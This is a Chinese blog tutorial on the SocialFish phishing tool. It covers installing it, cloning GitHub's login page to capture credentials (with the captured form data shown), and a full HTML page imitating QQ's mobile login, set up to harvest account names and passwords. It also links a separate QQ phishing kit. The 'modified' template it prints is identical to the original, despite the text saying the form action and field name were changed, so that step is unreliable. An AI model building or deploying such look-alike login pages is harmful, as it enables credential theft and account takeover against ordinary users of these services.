yongz
发布于 2023-04-16 / 0 阅读
0

SoicalFish 简单使用

SoicalFish 简单使用

1 工具介绍

  • SocialFish 是一种专门用于社交工程攻击的开源工具。它设计用于模拟各种社交媒体平台的登录页面,并收集用户的凭据和敏感信息。这些凭据和信息可以被黑客用于非法目的,例如未经授权的访问账户、身份盗窃或网络钓鱼攻击。

logo
  • SocialFish 的主要特点和功能包括:

    • 社交媒体模拟:SocialFish 可以模拟多个知名社交媒体平台(如 Facebook、Instagram、Twitter)的登录页面。它通过伪造页面来欺骗用户输入其凭据。

    • 自定义攻击页面:使用 SocialFish,攻击者可以自定义欺骗页面的外观和感觉,以使其看起来与目标平台的官方页面相似。这样可以提高攻击的成功率。

    • 凭据收集:SocialFish 能够捕获用户在欺骗页面上输入的用户名和密码,并将其保存在一个文件中,以供攻击者进一步使用。

    • 伪装功能:该工具还提供了伪装功能,可以隐藏攻击者的真实 IP 地址和位置信息,增加攻击者的匿名性。

  • 在该工具的帮助下,广大研究人员可以轻松执行网络钓鱼测试或完成信息收集工作,企业安全管理人员也可以使用该工具来对员工进行安全意识培训。

2 工具安装

  • 安装 Python 环境:

apt-get install python3 python3-pip python3-dev -y
  • 下载 SocialFish(可能需要科学上网哦):

git clone https://github.com/UndeadSec/SocialFish.git
  • 进入 SocialFish 目录,下载所需依赖:

pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple
  • 这时准备工作就已经完成了,输入如下命令启动 SocialFish:

python3 SocialFish.py <youruser> <yourpassword>
  • 这个界面已经显示出我们访问的网址,访问一下:

  • 输入之前设置好的账号密码即可登录到后台:

3 工具使用

3.1 站点克隆

  • 接下来我们需要对目标站点的登陆页面进行克隆,譬如:github 的登陆页面。

  • 在第一个 Clone 框内输入 www.github.com/login,第二个是登录之后跳转的地址,比方说是百度 www.baidu.com

  • 然后点击右侧的⚡图标即可:

  • 这时可以发现下方 ATTACKS LAUNCHED 数量增加了:

  • 访问对应网站:

http://10.10.8.15:5000
  • 尝试输入账号密码后,页面发生了跳转:

  • 进入 SoicalFish 查看后台:

  • 点击 view 按钮,即可得到如下数据:

{
	'commit': 'Sign in',
	'authenticity_token': 'EVN70u70ELzXSbnGTnMdDwgsQcO/9MVDHmkoXaHhFkx9ALs91X4/E5uiDdxaXM6AQedQNkQhgcWIe9SUR66xrQ==',
	'login': '11nxx',
	'password': '123456',
	'webauthn-conditional': 'undefined',
	'javascript-support': 'unknown',
	'webauthn-support': 'unknown',
	'webauthn-iuvpaa-support': 'unknown',
	'return_to': 'https://github.com/login',
	'allow_signup': '',
	'client_id': '',
	'integration': '',
	'required_field_7b61': '',
	'timestamp': '1699885624086',
	'timestamp_secret': 'cc8cacbf9005031b809a5b08cec204e545554b97f6b3aa969a7015d015d4cea8'
}

3.2 自定义模板

  • 很多同学可能会吐槽,这个克隆站点仅限于部分站点可以使用,很多克隆出来 CSS 样式等等都加载不了,那这时候应该怎么办呢?

  • 没关系,我们还可以自定义 HTML 模板。

  • SocialFish 中的核心代码格式如下:

<html>
  <head></head>
  <body>
    <form action="/login" method="POST">
      <label>Email Address</label>
      <input type="email" name="email" placeholder="Email" autocomplete="off">
      <label>Password</label>
      <input type="password" name="password" placeholder="Password" autocomplete="off">
      <button type="submit">sign in</button>                                
    </form>
  </body>
</html>
  • 我们这里举个简单的例子,比方说我们想要仿个简单的某 Q 的登陆页面:

注:这用到大佬写的 QQ 钓鱼工具 https://github.com/Cl0udG0d/QQFishing

## index.html
<!doctype html>
<html lang="zh-cn">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta id="viewport" name="viewport"
          content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <title>手机统一登录</title>
    <style type="text/css">
        @charset "utf-8";

        body {
            font-size: 16px;
            background: #eee
        }

        * {
            padding: 0;
            margin: 0;
            list-style: none;
            text-decoration: none
        }

        input:focus {
            outline: 0
        }

        #g_u {
            border-bottom: 1px solid #eaeaea
        }

        .inputstyle {
            width: 273px;
            height: 44px;
            color: #000;
            border: none;
            background: 0 0;
            padding-left: 15px;
            font-size: 16px;
            -webkit-appearance: none
        }

        .logo {
            background-image: url("../static/images/logo.png");
            height: 100px;
            width: 244px;
            margin: 0 auto 20px;
            background-size: 244px 100px
        }

        #switch,
        #vcode,
        #web_login {
            margin: 0 auto
        }

        #web_login {
            width: 290px
        }

        #g_list {
            background: #fff;
            height: 89px;
            border-radius: 4px
        }

        #go,
        #onekey {
            width: 290px;
            height: 44px;
            line-height: 44px;
            background: #146fdf;
            border: none;
            border-radius: 4px;
            color: #fff;
            font-size: 16px;
            margin-top: 15px;
            display: block
        }

        #switch #forgetpwd,
        #switch #zc {
            color: #246183;
            line-height: 14px;
            font-size: 14px;
            padding: 15px 10px
        }

        #switch #forgetpwd {
            float: left;
            margin-left: -10px
        }

        #switch #zc {
            float: right;
            margin-right: -10px
        }

        #auto_login {
            height: 24px;
            margin: 15px 0;
            color: #246183;
            position: relative
        }

        #auto_login .wording {
            position: absolute;
            left: 40px;
            line-height: 24px;
            height: 24px;
            font-size: 14px
        }

        #remember, #remember + .checkbox, #vcode #input_tips, #vcode #vcode_img, #vcode #vcode_input, .del_touch, .del_touch_icon, .del_u, .header .img_out, .header img, .nick, .txt_default {
            position: absolute
        }

        #remember {
            left: 14px;
            top: 5px;
            cursor: pointer;
            z-index: 1;
            opacity: .01
        }

        #remember:checked + .checkbox {
            background: url("../static/images/checked.png") 1px 1px #146FDF;
            border-color: #146FDF
        }

        #remember + .checkbox {
            display: inline-block;
            width: 21px;
            height: 21px;
            left: 9px;
            top: 1px;
            border: 1px solid #9ABBE3;
            background: 0 0;
            border-radius: 11px
        }
    </style>
</head>

<body>
<br>
<div id="logo" class="logo"></div>
<form name="input" action='' method="POST">
    <div id="web_login">
        <ul id="g_list">
            <li id="g_u">
                <div id="del_touch" class="del_touch">
                    <span id="del_u" class="del_u"></span>
                </div>
                <input id="u" type="text" name="account" class="inputstyle" autocomplete="off"
                       placeholder="QQ号码/手机/邮箱">
            </li>
            <li id="g_p">
                <div id="del_touch_p" class="del_touch">
                    <span id="del_p" class="del_u"></span>
                </div>
                <input id="p" type="password" name="password" class="inputstyle" maxlength="16" autocorrect="off"
                       placeholder="请输入你的QQ密码">
            </li>
        </ul>
        <div id="auto_login">
            <input type="checkbox" id="remember" checked="checked">
            <span class="checkbox"></span>
            <label class="wording"> 记住登录状态 </label>
        </div>
        <div>
            <input type="submit" value="登 录" id="go">
        </div>

</form>

<div id="switch">
    <span id="zc" onclick="window.open('static\\signed_in.html')">注册新帐号</span>
    <span id="forgetpwd" onclick="window.open('static\\signed_in.html')">忘了密码?</span>
</div>
</body>
</html>
  • 上述核心代码如下:

<form name="input" action='' method="POST">
    <div id="web_login">
        <ul id="g_list">
            <li id="g_u">
                <div id="del_touch" class="del_touch">
                    <span id="del_u" class="del_u"></span>
                </div>
                <input id="u" type="text" name="account" class="inputstyle" autocomplete="off"
                       placeholder="QQ号码/手机/邮箱">
            </li>
            <li id="g_p">
                <div id="del_touch_p" class="del_touch">
                    <span id="del_p" class="del_u"></span>
                </div>
                <input id="p" type="password" name="password" class="inputstyle" maxlength="16" autocorrect="off"
                       placeholder="请输入你的QQ密码">
            </li>
        </ul>
        <div id="auto_login">
            <input type="checkbox" id="remember" checked="checked">
            <span class="checkbox"></span>
            <label class="wording"> 记住登录状态 </label>
        </div>
        <div>
            <input type="submit" value="登 录" id="go">
        </div>

</form>
  • 这里最核心的是要把标签里的 name 值进行修改,同时 form 请求需要提交给 /login:

    • form 请求提交给 <form action="/login" method="POST">

    • 账户 name=“email”

    • 密码 name=“password”

  • 修改后代码如下:

<!doctype html>
<html lang="zh-cn">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta id="viewport" name="viewport"
          content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <title>手机统一登录</title>
    <style type="text/css">
        @charset "utf-8";

        body {
            font-size: 16px;
            background: #eee
        }

        * {
            padding: 0;
            margin: 0;
            list-style: none;
            text-decoration: none
        }

        input:focus {
            outline: 0
        }

        #g_u {
            border-bottom: 1px solid #eaeaea
        }

        .inputstyle {
            width: 273px;
            height: 44px;
            color: #000;
            border: none;
            background: 0 0;
            padding-left: 15px;
            font-size: 16px;
            -webkit-appearance: none
        }

        .logo {
            background-image: url("../static/images/logo.png");
            height: 100px;
            width: 244px;
            margin: 0 auto 20px;
            background-size: 244px 100px
        }

        #switch,
        #vcode,
        #web_login {
            margin: 0 auto
        }

        #web_login {
            width: 290px
        }

        #g_list {
            background: #fff;
            height: 89px;
            border-radius: 4px
        }

        #go,
        #onekey {
            width: 290px;
            height: 44px;
            line-height: 44px;
            background: #146fdf;
            border: none;
            border-radius: 4px;
            color: #fff;
            font-size: 16px;
            margin-top: 15px;
            display: block
        }

        #switch #forgetpwd,
        #switch #zc {
            color: #246183;
            line-height: 14px;
            font-size: 14px;
            padding: 15px 10px
        }

        #switch #forgetpwd {
            float: left;
            margin-left: -10px
        }

        #switch #zc {
            float: right;
            margin-right: -10px
        }

        #auto_login {
            height: 24px;
            margin: 15px 0;
            color: #246183;
            position: relative
        }

        #auto_login .wording {
            position: absolute;
            left: 40px;
            line-height: 24px;
            height: 24px;
            font-size: 14px
        }

        #remember, #remember + .checkbox, #vcode #input_tips, #vcode #vcode_img, #vcode #vcode_input, .del_touch, .del_touch_icon, .del_u, .header .img_out, .header img, .nick, .txt_default {
            position: absolute
        }

        #remember {
            left: 14px;
            top: 5px;
            cursor: pointer;
            z-index: 1;
            opacity: .01
        }

        #remember:checked + .checkbox {
            background: url("../static/images/checked.png") 1px 1px #146FDF;
            border-color: #146FDF
        }

        #remember + .checkbox {
            display: inline-block;
            width: 21px;
            height: 21px;
            left: 9px;
            top: 1px;
            border: 1px solid #9ABBE3;
            background: 0 0;
            border-radius: 11px
        }
    </style>
</head>

<body>
<br>
<div id="logo" class="logo"></div>
<form name="input" action='' method="POST">
    <div id="web_login">
        <ul id="g_list">
            <li id="g_u">
                <div id="del_touch" class="del_touch">
                    <span id="del_u" class="del_u"></span>
                </div>
                <input id="u" type="text" name="account" class="inputstyle" autocomplete="off"
                       placeholder="QQ号码/手机/邮箱">
            </li>
            <li id="g_p">
                <div id="del_touch_p" class="del_touch">
                    <span id="del_p" class="del_u"></span>
                </div>
                <input id="p" type="password" name="password" class="inputstyle" maxlength="16" autocorrect="off"
                       placeholder="请输入你的QQ密码">
            </li>
        </ul>
        <div id="auto_login">
            <input type="checkbox" id="remember" checked="checked">
            <span class="checkbox"></span>
            <label class="wording"> 记住登录状态 </label>
        </div>
        <div>
            <input type="submit" value="登 录" id="go">
        </div>

</form>

<div id="switch">
    <span id="zc" onclick="window.open('static\\signed_in.html')">注册新帐号</span>
    <span id="forgetpwd" onclick="window.open('static\\signed_in.html')">忘了密码?</span>
</div>
</body>
</html>
  • 然后我们整理完整的代码如下,覆盖到:SocialFish/templates/custom.html,然后在生成时选择 Custom HTML,点击⚡生成:

注:记得 logo 等图标要一起移动。

  • 访问一下:

  • 随便输入账号密码:

  • View 一下:

{
	'email': '11nxx',
	'password': 'Goktech@123'
}